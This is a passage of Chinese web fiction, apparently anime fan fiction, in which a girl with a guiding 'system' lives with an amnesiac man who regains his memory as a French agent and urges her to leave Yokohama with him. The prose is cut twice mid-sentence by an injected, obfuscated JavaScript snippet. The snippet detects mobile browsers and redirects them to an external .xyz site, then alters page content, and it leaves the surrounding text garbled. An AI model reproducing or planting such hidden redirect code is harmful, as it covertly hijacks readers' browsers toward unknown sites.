我本来就只是需要一个肯定而已,如今得到系统的支持,便埋头开始了自己尝试性的第一次创作。 对于创作,我是十分苦手的,如果要写一些流水账之类的我倒是能勉强凑出些字来,但正经的文学作品的确是第一次写。 兰堂对此也毫无经验,所以也只能在一旁默默为我鼓气加油。 至于为什么不承包家务?那当然是因为自从兰堂到来后家里所有的家务都被兰堂一力承担啦,完全不需要我头痛呢。 而且令人惊讶的一件事,那就是兰堂做饭意外的好吃!虽然擅长的都是些西方菜谱,可当我拿来花国菜谱时也接受良好,现在家常菜已经完全难不倒他了。 简直就是幸福的能落下眼泪的、梦想中的生活。 磨蹭了一个多月,我才开始动笔写了一篇短篇故事,而后修了错字投给了一位出版社的编辑,能不能过那就听天由命了。 [我时常梦见有一个怪物在追杀我,可无论是我的妻子也好,还是友人也好,他们都十分困惑,并对我的恐慌感到好笑。 “亲爱的,那只是一个梦境而已,他伤害不到你,就算是怪物又如何?” 我的妻子如此说。 “怪物?我的朋友,或许你应该去看看心理医生,你知道的,这个时代因为各种各样的事而造成心理阴影映射到梦境之中的情况太多太多了,如果你的确为此感到困扰……那么不如使用医学手段尝试治疗。” 我的好友如此说。 可我的恐慌却从未停歇,那梦境之中的怪物也离我越来越近,越来越近……] 一个古板老套的开头,我个人认为这并不能引人注目,所以完全将其当成废稿,毕竟唯一一个能给我参考意见的兰堂,完全就是个只会溺爱孩子的坏哥哥。 [在前往问询心理医生后,那位名叫凯瑟琳的医生如此告知我。 “根据你的病例与过往就业情况,你似乎从前上过战场?” 那个医生看我的眼神都变得避让了起来,我心中一股无名怒火燃起,明明我最初也是为了和平,且坚信战争是为了和平而存在,这才出现在战场上的,可她为什么这样看着我?她凭什么这样看着我?! 我的视线渐渐模糊起来,那位医生说了什么?清洗,对,清洗。 需要好好的清洗,才不会被病菌感染,需要好好的清洗…… 诶?医生呢? 我困惑的寻找,却怎么也找不到医生的踪影,最后只能回家与妻子抱怨这个不称职的医生。 不过说起来,我的妻子似乎也有一段时间没有出现了,工作难道需要这么长时间吗?] 白鹭编辑在看过这篇文章后,不自觉的便被带入其中,在缓过来后,果断选择去找主编。 主编边看边点头,最后拍板道:“这位明镜老师有留下联系方式吗?” 白鹭编辑肯定点头后,主编方才轻敲着桌案道:“接下来的沟通就交给你了,你之后专门负责照顾明镜老师,如果明镜老师属意与我们长期合作,一定要给出最优秀的待遇。” 在收到编辑请求上门拜访的电话时,我很惊讶。 虽然我的确是顺应时势,将厌战贯彻文章始末来写的没错,但我自认为那就是一张废稿,别说是跟什么知名大作家相比,就是跟一些对文字敏感的孩子相比,我也是比不得的,可为什么会过稿呢? 基于这样的疑惑,我拜托兰堂陪我接待这位打来电话的白鹭编辑。 在接待客人之前,我其实不死心的又跑到书店去翻阅书籍,最后失望的带着食谱从书店离开。 是的,我依旧什么都没有翻到,我一直都不能理解,为什么异世界没有人弃医从文之类的,不过就算问系统,系统也只能无奈与我说不可告知。 而我的智商也不足以让我想清楚这些不可告知之间是怎样的联系。 啧,让人心烦。 在一个明媚的晴天,身穿黑色西装,有些微胖的白鹭编辑上门恭敬道:“明镜老师,在下白鹭和,初次拜访,若有失礼之处还请海涵。” 这个让我直接叫他白鹭的男人说话时很是恭敬,介绍自己的时候也一直鞠躬,看上去还没有半分冲着年纪小的小辈行礼问好的憋屈或不满等负面情绪。 由于兰堂认为面见客人一定要衣着得体,而我又是兰堂认为的绝对主角,所以便换了一身相对正式的衣裳,说是正式,其实也就是将平日里的家居服换下而已,什么为了迎接编辑而为难自己穿什么西装那是绝对没有的。 白鹭编辑看着自己正对面坐着的、只有十七岁的少女,十分诚恳说出来意。 “改成长篇?”我有些惊讶,就我写的那种流水账还配被改成长篇发行? 白鹭编辑诚恳道:“是的,会社十分看好老师的著作,特意拟了待遇最优厚的合同,请您过目。” 我接过合同,粗略看过后,系统给出中肯评价:【对方有得赚,但你绝对不亏。】 我微微挑眉,侧头看向兰堂,兰堂放松极了,靠坐在沙发上,好像小小的客厅是什么华丽的会议室一般。 兰堂看似温和的与白鹭编辑说着话,三两句便逼得白鹭编辑满头冷汗又不敢有什么异常之举,只能绞尽脑汁应对。 我只当瞧不见听不着,撑着脸思考着自己要不要努努力给自己三分钟热度的事业一个好结局。 最后白鹭编辑得偿所愿,但我并不打算继续写作,只是应允了将原本的短篇扩写成长篇,短篇则率先发出成为引流的存在。 毕竟我是一个三分钟热度的人,如果坚持一件事太久,是会腻烦的,与其最后被人哭求,还不如让一直停在最开始什么都不曾发生的时候。 短篇发行后的确引起了许多人的关注,但由于长篇还在补充中,所以更多的人也只是在各种平台上交流而已,我是不在意这个的,反正钱到位就好了,但兰堂却买了个书架回来,美其名曰这里日后都要放妹妹的大作。 追着兰堂打了一会儿,不一会儿我便气喘吁吁,可即便如此,我却还是先怒瞪了兰堂一眼:“什么大作啊!我感觉那就是废稿!完全比不上我梦里那些大作家的作品!” 兰堂绕到琉璃身后轻轻拍着琉璃的脊背帮着琉璃顺气,面上却毫不在意:“可在我心里,你写的就已经是最好、最完美的作品了,至于旁人所写,都只是消遣而已。” 被兰堂这么一说,我哪还会生气?只能不轻不重掐了一下兰堂的腰,而后方才将这段时间一直规划的事告知了兰堂:“最近听说战争好像要步入尾声了,等战争结束我们去法国看看吧。” 兰堂有些惊喜,亲昵的抱着琉璃询问:“我们要去法国定居吗?” 兰堂心里已经想好了,等到了法国,或许自己可以开一家甜品店,或许自己会找回记忆…… 可一切都要有妹妹,都要有琉璃陪伴才可以。 虽然只有从夏季到秋季,短短几月的陪伴,但如果突然没了琉璃,兰堂还真不知道要如何是好。 我摇摇头笑道:“是去看看法国那边有没有你过往的线索啦,之前战争时期我们不好随便行走,战争结束之后肯定有你的亲人寻找你,到时候就算找不到熟人,也可以去当地的警局之类问问。” 我内心是有不安的,这样将一个好好的人禁锢在自己身边,用名为情感的枷锁困住他,我的确安全了,心里却觉得十分对不起兰堂,在纠结了一段时间后,我选择与系统沟通。 毕竟兰堂是个活生生的人,我越与兰堂相处,便越舍不得将他一直困在我身边,而系统也并没有嘲笑我或者反驳我,而是给我指了两条路。 第一条是将良心打折卖掉,继续装作什么都不知道一样跟兰堂培养感情成为感情坚固的兄妹获得大佬庇护。 第二条就是培养一点感情,然后慢慢摸索出异能力认为的失而复得卡在什么界限,有基础的自保能力之后将兰堂带到法国,到时候自然有人能找上门,而我可以选择一个安全的地方暂时定居,攒钱请人教导或者慢慢学习。 我虽然有些不舍兰堂带来的温暖,但也并不认为自己离开兰堂就不能继续生活,毕竟这段感情与记忆本就是建立在虚假的地基之上,地基都是虚假的,那即便感情与记忆如何让人不舍,却也总有一天会暴露,与其日后狼狈逃离,不如现在及时止损,所以我选择了第二条。 但是既然选择了第二条,我自然不可能再让兰堂去接触什么黑手党之类的存在。 不得不说兰堂实在是一个很好的人,温柔、体贴、随和,上能用异能力保证无论什么情况下我们的小家都不会被牵连,比如什么黑手党火.拼时的流弹啦、异能人士对打的余波啦、还有什么小偷小摸的流浪人士啦…… 只要有兰堂在,这些都不用我关心。 更别提什么家务、做饭、洗衣等小事了,自从跟兰堂同居,我感觉我就有要被养废的趋势,这不好。 我们总是要分开的,兰堂就像是天中高飞的鹰鸟,因为受伤短暂与我和平相处,可我是随时都会再次踏上流浪的旅人,早晚会与鹰鸟分开,与其日后闹得难堪,不如现在停留在最美好的时刻,这样我日后还能有些能独自回味的记忆。 “兰堂认为最好的防守就是攻击这句话如何解释呢?”我穿着轻薄的吊带,头发随意扎成了个丸子头,盯着正在给小蛋糕挤奶油放装饰物的兰堂,好奇问道。 兰堂侧头想了想,而后方才缓缓道:“如果你的攻击能力超过对方,那你的确可以将攻击当作防守,这种情况下敌方苦于应对攻击,自然难以思考如何观察你身上的弱点,但如果你的攻击能力比不上对方,你就要想办法保住性命。” 兰堂自身有底气,但在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075306|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对娇小的妹妹时总是会担心妹妹会不会出事。 细腻又敏感的内心却又让兰波知晓,妹妹能开口,那必然是有所缘由,再联想最近发生的事后,兰堂便主动出击,担忧道:“是不是遇到什么危险了?不然之后我去做你的助理怎么样?” 横滨最近的确很乱,因为港口黑手党的首领生病喜怒无常,所以横滨也变得混乱起来。 我见兰堂误会了,便小声说:“不是因为这个……” 兰堂不太理解,但还是做出倾听姿态。 我没有继续这个话题,而是拜托兰堂教导我如何锻炼自己。 “如果之后兰堂不在我身边的话,那我碰上危险起码也能等到哥哥来救我嘛。”我如是道。 系统低咳两声:【装过头了吧?】 我充耳不闻,见兰堂松动了,便叹气:“之后去法国的话,如果哥哥你恢复了记忆,一定有自己的事要去做,不论到时候我们是否会分离,至少此刻我们还可以趁着安宁之时为未来做准备嘛。” 这话一出口,兰堂就察觉到了不对。 什么叫分开?为什么这么肯定会分开?是不是有什么人说了什么?还是说……琉璃想与自己分开? 兰堂心里卷起风暴,面上却在犹豫后答应了下来,毕竟无论是谁挑拨自己跟妹妹的感情,但妹妹愿意有自保之力也并不是什么坏事,先检查一下妹妹的基础,之后等妹妹休息再去解决那些不安好心之人好了。 若是妹妹只是想离开的话,也没有关系,去了法国,一切就好了。 已经隐隐约约开始恢复一部分记忆的兰堂如此想。 我并没有察觉到兰堂心里的想法,还在天真的庆幸兰堂没有察觉到自己话语之中的漏洞。 但紧随其后来自兰堂的摸底测试,便让我沉默的倒下了。 我,自认为即便来到异世界,成为了一个被自己唾弃的小日子人,也没有轻易倒下,但是运动真的不行。 兰堂看着倒在地上,汗浸湿了衣裳大口喘着气的少女,也沉默了。 “要不然我们想想办法,哥哥将异能力想办法放到你这里一部分保护你,好不好?”兰堂哄着柔弱又倔强的妹妹。 我摆摆手,边喘气边问兰堂:“这是……是正常的摸底吗?” 兰堂沉默的点头让我跟兰堂一样变得沉默了。 系统看了后觉得不对:【是不是还没够到异能力使用的底线?我们再坚持一下?】 我惊恐的睁大了双眼:【你想让我死吗?认真的吗?】 系统肯定道:【再坚持一下,我这里后台能看到,你的体质随着你运动是有明显变化的,你再试试。】 兰堂见妹妹一直不起身,正要将她抱起来,便见女孩抖着腿扶着墙小跑起来。 只不过那速度跟走也没有什么区别。 又坚持了五分钟后便瘫倒在地的我被兰堂抱回了家,系统也陷入了长久的深思之中,不时便说一句不可能,不应当。 而我则被兰堂照顾的几乎成了个废人,歇了两天方才再次踏上兰堂认为基础训练的路程之上。 和先前不同,这次我虽然依旧气喘吁吁,但脚步却轻快许多。 连我都发现了的事,兰堂自然更早发现。 “是异能力吗?还是体质特殊呢?”我抬头看向兰堂,认真提问道:“可我见过兰堂的异能力,看上去很华丽的样子,我如果真的有异能力,为什么连我自己都不知道呢?” 兰堂也不太清楚,他如今虽然看上去正常,但实际上却并没有太多记忆,自然也不能给出回答。 见兰堂没有说话,我闷闷不乐的低着头打算回房间休息。 兰堂起身时却跌坐在沙发上,不慎将水杯碰落。 “砰!” 玻璃碎裂的声音下意识吸引了我的目光,看见兰堂捂着头强忍痛苦的模样,我来不及思考什么,连忙翻出止痛药,喂兰堂吃下后抱着兰堂担忧道:“很难受吗?要不要打电话叫救护车过来?” 兰堂嗅闻着鼻尖的柚子香气,蹙眉道:“不用,就是刚刚不知道为什么,突然有些头痛罢了。” 我有些担忧,让兰堂倒在我身上先缓了缓,而后方才懊恼道:“如果我的异能力能够帮到你就好了,到时候你就能找到自己的家了,这样就算剩下我一个人也没有关系的……” 兰堂低喘着,好似是因为疼痛没有听清我说什么的样子,让下意识说出真心话的我放松了些。 等到兰堂好些了,又问起我刚刚说了什么,我糊弄道:“我说,如果我能掌控自己的异能力,说不定就能帮到哥哥了,就不会让哥哥一个人难过了。” 兰堂因为疼痛而显得有些失了血色的苍白脸颊上多了几分笑意,“你只要好好的在我身边,我就能安心了,旁的事都不必你来忧心。” 我摇摇头,对此失笑,却并没多说什么,扶着兰堂进了房间休息后,便在地上铺了被褥,第二天一早见兰堂一切安好,这才悄悄回了房间休息,顺带给先前的小说补上结尾。 而兰堂,则是在琉璃走后发动了自己的异能力。 那是被自己的主人、被兰堂遗忘许久的异能力。 彩画集。[彩图集] 注视着自己从前作为谍报员时读取死者记忆后制作的人偶,兰堂,或者说恢复了所有记忆的兰波,冰冷的下达了指令,在第一个异能力人偶离开后,兰堂又召唤出第二个人偶,也是从前作为谍报员时专门负责与线人联系的人偶。 要是让琉璃知道,那大概会精准的描述:老师,菜菜,捞捞。 可要是让兰波来说,那便是:“联系我的老师,告知他我的情况,并将实验体甲二五八踪迹已经掌握的消息告知。” 顿了顿,想到琉璃,兰波最终还是让人偶二号将琉璃救下自己后被自己认为妹妹,打算一并带回法国的消息传回法国。 对于兰波而言,远东之地没有什么可以值得挂心的危险,唯一需要他在意的,就是魏尔伦,自己的搭档,在背刺自己,任务失败,自己失踪后,是否回到了法国。 如果魏尔伦不在法国,那就意味着魏尔伦停留在远东,停留在甲二五八的附近,如果当真如此,那自己便要多多警惕了。 4. 争吵(修文) 我恢复记忆了。 兰波静静注视着窗外洒落在稚嫩花朵之上的月光,可为什么自己并不像想象中一样高兴呢?为什么还要停留在这里呢? 为什么与自己相伴多年的魏尔伦能因为一个实验体舍弃自己,而一个与自己素未相识的少女却能因为怜爱自己而选择将自己一个一看就知道十分危险的男人带回家呢? 本就因为年幼离家成为谍报人员所以情感缺失严重,有些偏执的兰波想不通,为什么会如此呢? 明明自己已经给出了最好的,将自己的名字,自己的一切都与魏尔伦分享,将其视为亲友一般,并为其拦下了上面意图将魏尔伦当作人形武器的计划,可为什么魏尔伦还是会为了一个第一次见面的实验体放弃自己呢? 兰波想不通。 兰波更想不通,为什么一个柔弱的少女会将自己视为家人,只因为自己失忆,看上去柔弱吗?还是因为她也跟自己一样,试图寻找到能够视为‘锚’的存在? 兰波不懂,但兰堂的记忆已经给出了答案。 那个明明已经推测出端倪,在良好照顾下恢复些许记忆的另一个自己已经做好了,如果令人怜爱的妹妹离开自己,便将妹妹锁在身边的准备。 另一个自己即便希望看看法国是否是自己真正熟悉的地方,想要寻找自己的亲人、记忆,可一切的前提却都是在有妹妹陪伴的情况下,不然他宁愿所在远东之地这样狭小的地方陪着妹妹,一直注视着她。 受伤的琉璃,冷静又理智的琉璃,在自己最彷徨无助时安慰自己的琉璃…… 惹人怜爱的琉璃。 兰波控制的人偶在最初爆炸的中心点附近四处寻找,在找到那个实验体后,不动声色的将人偶放在实验体附近监视对方。 高抬贵手是不可能的,身为法国情报人员的兰波不可能因为魏尔伦一句话就放过这个复制了魏尔伦异能力的实验体。 但魏尔伦认为法国将其视为异类的话语还是让兰波反思了一下,最后兰波认为,实验体他要带走,妹妹更是必须要带走。 或者换种方式来表达,就算实验体带不走,死在横滨,妹妹也必须安安全全被带回法国。 至于失败……嗯,对不起哦,日本这个小地方别说超越者了,连超越者预备役都没有,兰波实在想不出来自己会因为什么失败。 哦,如果一定有原因,那大概是令人怜爱的妹妹舍不得横滨吧? 兰波放空大脑,嗅闻着跟妹妹身上一样的柚子香气,想着不知去向的魏尔伦,辗转反侧后,兰波还是悄悄起身到了厨房打算给劳累一夜的妹妹做一顿早餐。 至于爱心早餐,那不是现在的琉璃能吃的,兰波认为自己需要认真观察妹妹是不是会像她说的那样无条件偏爱自己。 边想,兰波边拿出模具,熟练的煎了两个爱心形状的煎蛋,而后看着盘子里的煎蛋发愣,最后愉快的将两个煎蛋都放进了给琉璃准备的早餐里。 算了,就当是兰堂做的煎蛋好了,兰堂做的事跟兰波又有什么关系呢? 兰波愉快的端起早餐上楼寻找琉璃。 * 我熬了一晚上,刚刚又给自己泡了一壶茉莉花茶,而我这个人只要喝茶,基本上就跟睡眠短暂脱离了关系,外加兰堂昨天的情况实在让我担心,所以在给小说添加结尾后,我便打算去看看兰堂情况如何。 并没有锻炼出什么身在二楼也能听见脚步声这种技能的我直到兰堂敲了房门才反应过来,刚刚闻到的香气原来是兰堂做饭时的香气。 由于昨天兰堂的情况,我心里十分担忧,连忙开了门,将兰堂推到床上坐下,将装了爱心早餐的盘子放到一旁,看向兰堂。 只一眼,我便察觉到了不对。 我拿出兰堂不知从何淘换来的袖刀,警惕的看向面前这个男人:“你是谁?兰堂呢?你把兰堂怎么了?” 兰波有些惊讶,微微挑眉,眼中带上几分欣慰的笑意。 我却不曾察觉,三步并作两步,将刀刃逼近这个男人修长的脖颈,嗅闻着男人身上熟悉的香气,皱眉逼问:“快说!兰堂去哪里了!要是他没了我要你好看!” 虽然兰堂是系统认证的超越者,但从未见过超越者如何的我自然认为是不是兰堂失去了记忆,被这个男人打晕了或者…… 毕竟古往今来,阴沟里翻船的豪杰也并非屈指可数。 兰波毫不反抗,脖颈对着刀刃,亲昵又暧昧地询问:“亲爱的小小姐,不如先吃过早餐,再跟我对峙,如何?” 我冷脸看向面前这个男人,半点犹豫都没有,毕竟兰堂曾经教过我,无论对方出于什么想法主动将致命处暴露,我需要做的就是抓住,而后刺穿。 留情,那是强者的特权,弱者只能抓住一切能抓住的活下去。 兰堂说这话的时候,不像是人类,更像是野外生长的猛兽一样,黄绿色的瞳孔、柔顺善于隐藏的皮毛、熟练到足以刻入骨髓的捕猎技巧。 每一项,都向我无声的证明,他并不是什么被系统随口提起让我收养的小流浪,而是即便不去干涉也能风生水起的黑豹。 见女孩毫不留情,半点都没有犹豫的意思,冰凉的袖刀带着熟悉的香气紧紧逼着自己、包围着自己,无奈,兰波这才举手投降,正色道:“我恢复记忆了。” 我的手不自觉的抖了一下,抿抿唇询问:“说出你的来历。” 兰堂恢复了记忆,那就代表他不再是无条件偏爱我、溺爱我的兰堂,而是真正游走在各国的法国谍报员兰波,既然如此,那我自然不可能再用对待兰堂的态度对待兰波。 兰波不太理解,为什么妹妹对兰堂跟兰波的态度毫不相干,明明都是一个人,难不成就因为兰堂失去了记忆?就因为兰堂更惹人怜爱?可自己跟兰堂分明是一个人,分明拥有着同样的容貌啊? 兰波并没有像兰堂一样毫无社交距离的抱着琉璃,而是与琉璃隔了大约一米的距离,轻声道:“我是法国的异能者,已经联系了法国方来接我,之后是一定会离开横滨的。” 我低头不语,脑中是系统哭诉的声音。 【为什么啊?!这家伙自己混了八年多都没恢复记忆,跟你生活不到一年就恢复记忆了?!不是,凭什么啊!我们的冤大头没了!】 系统崩溃了,指责兰波:【这家伙是不是碰瓷我们?这么长时间,好几个月,他是不是没心啊!可恶的家伙!狡猾的男人!】 我没有理系统,勉强笑了笑,连头都不敢抬:“回去挺好的,听说法国在国际上地位优越,你回法国肯定能被重视的。” 拥有异能力的异世界中,英法等国家并未没落,依旧在欧洲乃至世界拥有极高的地位,就像花国一样。 我重复道:“回去挺好的。” 毕竟那边有兰堂的家,有兰堂的亲人,兰堂的师长,兰堂熟悉的一切人事物,怎么会不好呢? 兰波笑不出来了,他轻声询问:“你呢?” 兰波不理解,自己说的难道还不够清楚吗?自己要回法国了,琉璃在这里并没有亲人,自己既然来与琉璃说,那就是希望琉璃能与自己一起离开远东,离开横滨,回到法国的意思,可琉璃为什么要拒绝自己? “我自然是留在横滨了。”我平静道:“我的事业可是刚刚步入正轨,也不用陪你寻找记忆,你一个成年人肯定能好好生活的,自然不需要我陪你了。” 而且身为谍报员,兰波一个人回去还好,可带上我又算什么?到时候就是审查,都要极长一段时间,不如之后等兰波安稳后再联系。 总归,我也不是一定要待在横滨的。 兰波气急反笑,“那你先前说的话就都不作数了?你不是说你才十七岁?国际法规定十八岁才成年,你的国籍如果我没猜错应该还是双国籍才对,法国有哪里不好?你偏要留在横滨,留在日本这种小地方?” 我有哪里不好?我难道不如兰堂? 你为什么舍弃我,却能对兰堂说出请尽情注视自己,你会无条件偏爱他这样的话? 兰波并不在意魏尔伦背刺自己,毕竟魏尔伦什么情况兰波知道的清清楚楚,到时候实验体在手,不怕魏尔伦那家伙不好好听自己说话,但琉璃不一样。 兰波出乎意料的嫉妒起了兰堂,明明都是同一个人,拥有着相同的容貌,他甚至还拥有兰堂的记忆,可为什么琉璃会舍弃自己?她是不是后悔了? 兰波心中恶意揣测着。 见琉璃不说话,兰波又晓之以理:“你也是拥有异能力的人,即便我并不知晓你的异能力是什么,但日本这种小地方能培养你什么?跟我去法国,我能给你带来最好的教育资源与生活环境。” 我摇摇头,即便知晓兰堂是为了我好,可我却也并不打算再跟兰堂离开。 跟兰堂离开,然后呢? 我在这里,最少还能借着父母的由头在成年后得到一笔丰厚的,由系统资助的财产,而且法国也并非人力不可触及之地,我大可与兰堂保留联系方式,日后不愁没有再见之日,我可以慢慢完成系统要求的任务,我可以一点点试探自己能力的底线是什么,我可以做很多。 可去往法国,我又能做什么呢?依靠兰堂生活? 这不现实。 兰波气恼的厉害,转身欲走,但不知为何还是停下脚步,转头打算再将事实说清楚讲明白掰开了揉碎了告知琉璃,可一转头,兰波便瞧见晶莹的泪珠划过少女的脸,滴落在地上。 我连忙低头,兰波却不知何时来到我身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075307|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,擦拭掉我的眼泪,轻轻将我抱起:“为什么不打算跟我离开?明明是琉璃亲口说过的,无论何时,只要我想,我可以尽情注视着你,而你也永远会将我视作优先选择,难道琉璃后悔了吗?” 我吸吸鼻子,看着兰堂熟悉的,清俊中带着些阴郁的容颜与温柔的目光,爬在兰堂身上哭诉:“兰堂有自己的亲人,也有自己的兄弟姐妹,你还是法国的异能力者,我什么都不会什么都不懂,兰堂会包容我,可你不是兰堂!你有自己的人生,你回去之后肯定比跟我一起更幸福的,你不会永远包容我!” 我哭的鼻涕都流了出来,视线模糊的完全看不见兰堂是什么表情,只听见一声轻叹,而后便是柔软的棉帕吸走了我的眼泪,我再次看清了兰堂温柔又阴郁的容颜。 我反正都破罐子破摔将那些话都说出口了,情绪也发泄出来了,便也不知不觉放松下来,拿起纸巾整理了仪表后,兰堂方才轻叹道:“我自小便离开了家庭,成为了法国的情报人员,远离了家人、曾经的恋人、友人,于他们而言,我还是个在监狱里被关押,一事无成的家伙,离开家人后,是我的老师负责抚养我、教导我。” “比起亲人,我的老师才更像是我的父亲。” 所以你所设想的什么亲人、爱人,都是不存在的,如果一定要说,或许老师更像是我的父亲。 “虽然我是法国的异能力者,但亲爱的,你也拥有法国的国籍,如果你愿意,我将带你来到法国,在你成年后,如果你依旧认为与我分开才是最好的结局,那我欣然接受。” “兰堂会包容你,因为你同样在包容他,兰波也会包容你、注视你,尊重你的所有选择,因为你率先选择了我,所以我们拥有了新的记忆。”兰波诚恳道:“你没有了兰波会如何,兰波并不知晓,但我没有了你,所谓的幸福也并不圆满啊。” 骗你的,我后悔了,你要是不选择我,那就把你强行带走再慢慢哄你好了。 自称兰波的男人条理清晰,声音轻柔的反驳着我,可我却总是没有安全感,就像从前的兰堂一般,我不自觉落下眼泪,兰波并没有为此而厌烦,而是轻叹道:“为什么你会认为我会抛下你呢?” 是谁带给了你这样难以抹消的伤痕呢? 兰波毫不在意眼泪,轻轻捧着温凉柔软的脸,亲在少女的侧脸,将头放在少女肩颈处,就像从前的兰堂一样,小声道:“给我这样一个机会,你说过的,你会永远偏爱我,永远允许我注视你,你不能给予了我与你亲昵接触的机会后又抛下我远走,亲爱的,给我一个机会,我们一定能拥有更好的未来的,你不能直接宣判我的死刑呀。” 就像是耐心的蜘蛛一样,兰波并未像兰堂一样用绳索将两人紧紧捆在一起,让其中一人想要转身都会被勒出鲜血,兰波用纤细柔韧的蛛丝轻轻结成网,若网上的猎物乖顺,他便愿意伪装出温和表象,反之,猎物自然会被吞吃入肚。 我没有第一时间回答兰波,兰波反而越发来劲,松松的抱着我,嘴上说着请求的话,可却始终不曾放开我。 系统幽幽道:【挺好的,路走多了,咱们也碰上鬼了,说出的那些诺言如今都化成刀刃了。】 我被系统这么一说,先前那些钻了牛角尖的念头也被慢慢放了出来,似是察觉到了我的松动,轻轻抱着我的男人也欢快道:“我在各地都有房产,法国也一样,我拥有庄园与城堡,到时候无论琉璃想成为公主还是骑士,我都会在一旁协助琉璃的!” 前提是,你愿意跟我离开。 兰波盯着少女乌黑油亮的发丝,觉得自己有些饿,不过转念一想,昨天也只有晚上喝到了妹妹的爱心晚餐——一碗粥,还因为想装可怜吃的不多,现在饿了也不算奇怪。 我心里那些琐碎繁杂的心绪全部因为兰波的话如同云烟一般飘散,抬头恶狠狠的瞪了兰波一眼,伸手掐了一下兰波腰间的一点软肉:“你就擅自替我做主了?!” 兰波察觉琉璃态度的转变,就像是温顺的家猫一样,可怜兮兮的望着琉璃。 我轻哼了一声,揪着那块软肉拧了一圈,而后方才道:“那边的人什么时候到?” 兰波心中窃喜,面上却只微微一笑:“快的话,大概今晚,慢的话,明天应当就到了。” 毕竟自己可是法国的超越者,又消失了这么长时间,如果魏尔伦没有回去,那就证明自己绝对是因为魏尔伦而出事了,若是魏尔伦回去了,哦,那更好了,毕竟自己准备礼物给魏尔伦还是走了老师的路子,到时候魏尔伦再怎么解释,自己的老师也不可能全然相信,如果不出意外,老师大概会让一位空闲的超越者前来,以防万一。 毕竟自己这么长时间没有消息,是个人都知道肯定是出了事。 至于会是谁嘛…… 5. 孩子(修文) 兰波卖了个关子,不过我对这些本来就不算在意,毕竟就像系统说的一样,天晓得随手一抓,就被个鬼给黏上了。 虽然我最初的确抱着一种抱大腿的想法碰瓷没错,但我实在没有想到,原来失去记忆的兰堂那副姿态竟然还算是一朵洁白稚嫩的百合花。 与从前的兰堂相比,恢复记忆的兰波简直让我大开眼界。 【完全就是男鬼一样的存在呢。】系统犀利点评。 我头也不转,平静道:“兰波哥哥,如果你再用这种好像要将我整个人都吃掉一样的眼神死死盯着我,那之后你晚上睡觉也要随时做好迎接我的准备,毕竟我也不知道自己会剃掉你的头发还是在你的脸上画小乌龟。” 这种黏糊糊的样子,我真的很怀疑你要兄爱变质,身为妹妹的我并不打算让肮脏的爱情玷污我们纯粹的兄妹关系。 毕竟如果哥哥跟妹妹吵架,就算冷战也会转头冷脸帮忙,但情侣就不行了,分手了连朋友都没得做,如果真走到这一步,我会崩溃的,我纠结那么久受苦受罪才抱到的大腿就因为一个爱情就被推远,我真的会恨不得给自己一巴掌,多了不行。 兰波悻悻转头,我见兰波无事可做,便问兰波:“如果没什么事好做的话,不如想想还有什么是目前能告诉我却忘记说的吧。” 我手上整理着要带走的一部分衣物,头也不抬道。 虽然兰波认为这些都没什么带走的必要,到时候去了法国可以让人过来上门为妹妹重新定做一批,但兰波也不是完全没有生活常识,知道就算是自己能为妹妹重新定制,但妹妹这段时间也不可能一直穿着家居服呆在家里,所以倒是没说出什么会让琉璃生气的话来。 听到妹妹的话,兰波稍有些心虚:“啊,的确有件事。” 我歪歪头,看向兰波,心里思索着有什么是我目前还不知道的和已经知道但需要表现出惊讶或惊喜的。 兰波轻咳两声,“我来横滨是有任务需要做的,所以这次还要带走一个孩子,不过这个孩子是我搭档认定的弟弟,所以之后不会跟我们生活在一起,只是要一起回去而已。” 虽然兰波并不这样认为,但是既然魏尔伦如此在意,那就带回去好了,带回去之后如何,那是之后的事了。 我听了兰波的话先是困惑兰波的搭档是谁,“搭档先生是这次来接我们的人吗?” 兰波想了想魏尔伦的一贯作风,和自己失踪后魏尔伦可能被老师针对的那些情况,最后十分肯定道:“不是他来接我们,魏尔伦他……性格与常人不同。” 更确切一点来讲,魏尔伦就是没把自己当成人,不是骂他,是真的,这件事是即使兰波也不能否认的事实。 “那个孩子呢?”见兰波不打算多说,我便换了个问题询问:“那个孩子目前在哪里?是安置在了其他地方吗?” 并不打算让一个陌生人打扰自己跟妹妹相处,迈入这个房子的兰波面不改色道:“这个孩子之前因为我失忆,被一个流浪团体带走了,目前年纪不大,我会拜托老师将搭档的照片发过来,作为证据带走那个孩子与魏尔伦相认。” 我心下了然,“哥哥还是把那个孩子带过来吧,明明那位魏尔伦先生生活在欧洲,弟弟却丢失跑到了横滨,看来这其中一定有很大委屈。” 系统沉默了,那孩子有委屈是肯定的,但如果你说这两个是兄弟,那就有些亏心了。 系统什么都知道,但很多都不能说,只能保持珍贵的沉默。 兰波毫不心虚:“是的,当时我想带走那个孩子,魏尔伦却认为那个孩子虽然拥有异能,但不一定要成为一个为法国工作的人,所以我们两个大打出手,不慎导致了爆炸发生,牵连到了你……还有擂钵街。” 兰波遮遮掩掩,说的却全都是实话,系统也没有多做提醒,我便也信了这些。 “原来如此……”我若有所思道:“不过我为什么会跟哥哥在一起呢?” 兰波并不想纠结这些,毕竟无论最开始是因为什么,总归妹妹身后目前没有看到其他国家/势力的影子,而过往短短几月里的感情与记忆也都是真实存在的,既然如此,还在意那么多做什么呢? 人有时候就是要糊涂一点,才能得到圆满的幸福。 